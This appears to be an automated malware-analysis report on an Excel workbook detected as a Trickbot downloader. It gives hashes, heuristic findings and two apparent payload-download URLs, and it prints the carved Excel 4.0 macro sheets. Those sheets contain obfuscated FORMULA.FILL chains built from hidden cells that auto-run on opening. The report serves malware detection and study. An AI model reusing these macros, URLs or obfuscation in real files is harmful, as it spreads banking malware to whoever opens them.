Trickbot — Office (OOXML) malware analysis

Static analysis result for SHA-256 9f4f5a03ed2ef252…

MALICIOUS

Office (OOXML)

91.0 KB Created: 2006-09-16 00:00:00 UTC Authoring application: Microsoft Excel 14.0300 First seen: 2021-07-02
MD5: c125e56dba2ce6adde0527d42af24155 SHA-1: ad561be693f0ae20092d1c6fa16fba9655b8fbd8 SHA-256: 9f4f5a03ed2ef252fa4a2f0c7da39294c1dd299bf8bfce407a072526c251e6c9
250 Risk Score

Malware Insights

Trickbot · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The file contains Excel 4.0 macros, specifically using the FORMULA.FILL and HALT functions, which are known to be used for downloading and executing payloads. The ClamAV detection explicitly identifies it as a Trickbot downloader. The macros construct URLs pointing to external resources, likely for payload retrieval. The presence of defined names like 'Auto_Open' and the use of dangerous XLM functions indicate a malicious intent to execute code upon opening.

Heuristics 6

  • ClamAV: Xls.Downloader.Trickbot07210-9880007-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Trickbot07210-9880007-0
  • Excel 4.0 macro sheet (6 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: FORMULA.FILL, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 5 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://ieronymou.com/YSLwiB6N0Yg5/leef.html In document text (OOXML body / shared strings)
    • https://iliknaturals.com/TErX9qoqaR/leef.htmlIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)

Extracted artifacts 6

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet2.xml 1701 bytes
SHA-256: 941b553d7b521116b5a6f09a03df21484f96c0030243596ceb3d3b6214233744
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<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="AG3:AG6"/><sheetViews><sheetView showFormulas="1" zoomScaleNormal="100" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.28515625" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="32" max="32" width="4.28515625" customWidth="1"/><col min="33" max="33" width="4.28515625" hidden="1" customWidth="1"/></cols><sheetData><row r="3" spans="33:33" x14ac:dyDescent="0.25"><c r="AG3" s="2" t="b"><f>FORMULA.FILL(Sheet1!AR113&amp;Sheet1!AR114&amp;Sheet1!AR115,Sheet1!AQ150)</f><v>1</v></c></row><row r="6" spans="33:33" x14ac:dyDescent="0.25"><c r="AG6" s="1" t="b"><f>FORMULA.FILL(Sheet1!AR122&amp;Sheet1!AR123&amp;Sheet1!AR136&amp;Sheet1!AQ148&amp;Sheet1!AR137&amp;Sheet1!AR140&amp;Sheet1!AR137&amp;Sheet1!AQ149&amp;Sheet1!AR137&amp;Sheet1!AR140&amp;Sheet1!AR137&amp;Sheet1!AQ150&amp;Sheet1!AR137&amp;Sheet1!AR140&amp;Sheet1!AR142&amp;Sheet1!AR140&amp;Sheet1!AR137&amp;Sheet1!AQ108&amp;Sheet1!AR137&amp;Sheet1!AR140&amp;Sheet1!AR137&amp;Sheet1!AQ105&amp;Sheet1!AR137&amp;Sheet1!AR140&amp;Sheet1!AR142&amp;Sheet1!AR140&amp;Sheet1!AR142&amp;Sheet1!AR139,Sheet1!AO148)=Sheet4!AI4()</f><v>1</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_01.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet1.xml 10849 bytes
SHA-256: 0a0248d8cf80ef7101f9c7038aa1c628aa6bf2bd77715979b43b230b0f3a25de
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<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="AO103:AS161"/><sheetViews><sheetView showFormulas="1" zoomScaleNormal="100" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.28515625" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="40" max="40" width="4.28515625" customWidth="1"/><col min="41" max="45" width="4.28515625" hidden="1" customWidth="1"/></cols><sheetData><row r="103" spans="41:45" x14ac:dyDescent="0.25"><c r="AO103" s="1"/><c r="AP103" s="1"/><c r="AQ103" s="1"/><c r="AR103" s="1"/><c r="AS103" s="1"/></row><row r="104" spans="41:45" x14ac:dyDescent="0.25"><c r="AO104" s="1"/><c r="AP104" s="1"/><c r="AQ104" s="1"/><c r="AR104" s="1"/><c r="AS104" s="1"/></row><row r="105" spans="41:45" x14ac:dyDescent="0.25"><c r="AO105" s="1"/><c r="AP105" s="1"/><c r="AQ105" t="str"><f>"..\wail1.dll"</f><v>..\wail1.dll</v></c><c r="AR105" s="1"/><c r="AS105" s="1"/></row><row r="106" spans="41:45" x14ac:dyDescent="0.25"><c r="AO106" s="1"/><c r="AP106" s="1"/><c r="AQ106" s="1" t="str"><f>"..\wail2.dll"</f><v>..\wail2.dll</v></c><c r="AR106" s="1"/><c r="AS106" s="1"/></row><row r="107" spans="41:45" x14ac:dyDescent="0.25"><c r="AO107" s="1"/><c r="AP107" s="1"/><c r="AQ107" s="1"/><c r="AR107" s="1"/><c r="AS107" s="2"/></row><row r="108" spans="41:45" x14ac:dyDescent="0.25"><c r="AO108" s="1"/><c r="AP108" s="1"/><c r="AQ108" s="1" t="str"><f>"https://ieronymou.com/YSLwiB6N0Yg5/leef.html"</f><v>https://ieronymou.com/YSLwiB6N0Yg5/leef.html</v></c><c r="AR108" s="1"/><c r="AS108" s="1"/></row><row r="109" spans="41:45" x14ac:dyDescent="0.25"><c r="AO109" s="1"/><c r="AP109" s="1"/><c r="AQ109" s="1" t="str"><f>"https://iliknaturals.com/TErX9qoqaR/leef.html"</f><v>https://iliknaturals.com/TErX9qoqaR/leef.html</v></c><c r="AR109" s="1"/><c r="AS109" s="1"/></row><row r="110" spans="41:45" x14ac:dyDescent="0.25"><c r="AO110" s="1"/><c r="AP110" s="1"/><c r="AQ110" s="1"/><c r="AR110" s="1"/><c r="AS110" s="1"/></row><row r="111" spans="41:45" x14ac:dyDescent="0.25"><c r="AO111" s="1"/><c r="AP111" s="1"/><c r="AQ111" s="1"/><c r="AR111" s="1"/><c r="AS111" s="1"/></row><row r="112" spans="41:45" x14ac:dyDescent="0.25"><c r="AP112" s="1"/><c r="AQ112" s="1"/><c r="AR112" s="1"/><c r="AS112" s="1"/></row><row r="113" spans="41:45" x14ac:dyDescent="0.25"><c r="AP113" s="1"/><c r="AQ113" s="2"/><c r="AR113" s="2" t="s"><v>0</v></c><c r="AS113" s="1"/></row><row r="114" spans="41:45" x14ac:dyDescent="0.25"><c r="AP114" s="1"/><c r="AQ114" s="2" t="s"><v>1</v></c><c r="AR114" s="2" t="s"><v>2</v></c><c r="AS114" s="1"/></row><row r="115" spans="41:45" x14ac:dyDescent="0.25"><c r="AO115" s="1"/><c r="AP115" s="1"/><c r="AQ115" s="2" t="s"><v>3</v></c><c r="AR115" s="2" t="s"><v>4</v></c><c r="AS115" s="1"/></row><row r="116" spans="41:45" x14ac:dyDescent="0.25"><c r="AO116" s="1"/><c r="AP116" s="1"/><c r="AQ116" s="2" t="s"><v>5</v></c><c r="AR116" s="2"/><c r="AS116" s="1"/></row><row r="117" spans="41:45" x14ac:dyDescent="0.25"><c r="AO117" s="1"/><c r="AP117" s="1"/><c r="AQ117" s="2" t="s"><v>6</v></c><c r="AR117" s="2"/><c r="AS117" s="1"/></row><row r="118" spans="41:45" x14ac:dyDescent="0.25"><c r="AO118" s="1"/><c r="AP118" s="1"/><c r="AQ118" s="2" t="str"><f>RIGHT("rsthYFGIPUYiugeA",2)</f><v>eA</v></c><c r="AR118" s="2"/><c r="AS118" s="1"/></row><row r="119" spans="41:45" x14ac:dyDescent="0.25"><c r="AO119" s="1"/><c r="AP119" s="1"/><c r="AQ119" s="1"/><c r="AR119" s="1"/><c r="AS119" s="1"/></row><row r="120" spans="41:45" x14ac:dyDescent="0.25"><c r="AP120" s="1"/><c r="AQ120" s="1"/><c r="AR120" s="1"/><c r="AS120" s="1"/></row><row r="121" spans="41:45" x14ac:dyDescent="0.25"><c r
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xlm_sheet_02.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet3.xml 1504 bytes
SHA-256: 5fddc94a87bb4a481bf747d7b65cb11239b097bcf22ec69b957b1e8329f6a45d
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<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="AI6"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.28515625" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="34" max="34" width="4.140625" customWidth="1"/><col min="35" max="35" width="4.28515625" hidden="1" customWidth="1"/></cols><sheetData><row r="6" spans="35:35" x14ac:dyDescent="0.25"><c r="AI6" s="1" t="b"><f>FORMULA.FILL(Sheet1!AR122&amp;Sheet1!AR123&amp;Sheet1!AR136&amp;Sheet1!AQ148&amp;Sheet1!AR137&amp;Sheet1!AR140&amp;Sheet1!AR137&amp;Sheet1!AQ149&amp;Sheet1!AR137&amp;Sheet1!AR140&amp;Sheet1!AR137&amp;Sheet1!AQ150&amp;Sheet1!AR137&amp;Sheet1!AR140&amp;Sheet1!AR142&amp;Sheet1!AR140&amp;Sheet1!AR137&amp;Sheet1!AQ109&amp;Sheet1!AR137&amp;Sheet1!AR140&amp;Sheet1!AR137&amp;Sheet1!AQ106&amp;Sheet1!AR137&amp;Sheet1!AR140&amp;Sheet1!AR142&amp;Sheet1!AR140&amp;Sheet1!AR142&amp;Sheet1!AR139,Sheet1!AO149)=Sheet5!AM2()</f><v>1</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_03.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet4.xml 1158 bytes
SHA-256: d4c18034a4ff9f5f250ecb125bc64ceb7910b362fb352666f038ebcab7f83aea
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<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="AM4"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.28515625" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="38" max="38" width="4.28515625" customWidth="1"/><col min="39" max="39" width="4.28515625" hidden="1" customWidth="1"/></cols><sheetData><row r="4" spans="39:39" x14ac:dyDescent="0.25"><c r="AM4" s="2" t="b"><f>FORMULA.FILL(Sheet1!AQ136&amp;Sheet1!AQ137&amp;Sheet1!AQ138&amp;Sheet1!AQ139&amp;Sheet1!AQ140&amp;Sheet1!AQ141&amp;Sheet1!AQ142&amp;"2 ",Sheet1!AQ154)=Sheet7!AR6()</f><v>1</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_04.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet5.xml 1294 bytes
SHA-256: 0b9fb82ab257e52f23f7be68bd5a833a97a60586cafa1440a947926f41d88782
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<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="AJ10:AJ11"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.28515625" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="35" max="35" width="4.28515625" customWidth="1"/><col min="36" max="36" width="4.28515625" hidden="1" customWidth="1"/></cols><sheetData><row r="10" spans="36:36" x14ac:dyDescent="0.25"><c r="AJ10" s="2" t="b"><f>FORMULA.FILL(Sheet1!AQ130&amp;Sheet1!AQ131&amp;Sheet1!AQ132,Sheet1!AQ148)</f><v>1</v></c></row><row r="11" spans="36:36" x14ac:dyDescent="0.25"><c r="AJ11" s="2" t="b"><f>FORMULA.FILL(Sheet1!AQ114&amp;Sheet1!AQ115&amp;Sheet1!AQ116&amp;Sheet1!AQ117&amp;Sheet1!AQ118,Sheet1!AQ149)=Sheet2!AG2()</f><v>1</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_05.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet6.xml 1170 bytes
SHA-256: 4eefa0a1e9c7a5ff09dad44d058d909865c24428eeddd6a2b68da7ddc2861960
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<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="AR6:AR7"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.28515625" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="43" max="43" width="4.28515625" customWidth="1"/><col min="44" max="44" width="4.28515625" hidden="1" customWidth="1"/></cols><sheetData><row r="6" spans="44:44" x14ac:dyDescent="0.25"><c r="AR6" s="1"/></row><row r="7" spans="44:44" x14ac:dyDescent="0.25"><c r="AR7" t="b"><f>FORMULA.FILL(Sheet1!AS135&amp;Sheet1!AS136&amp;Sheet1!AS137&amp;Sheet1!AS138,Sheet1!AQ151)=Sheet1!AO131()</f><v>1</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>

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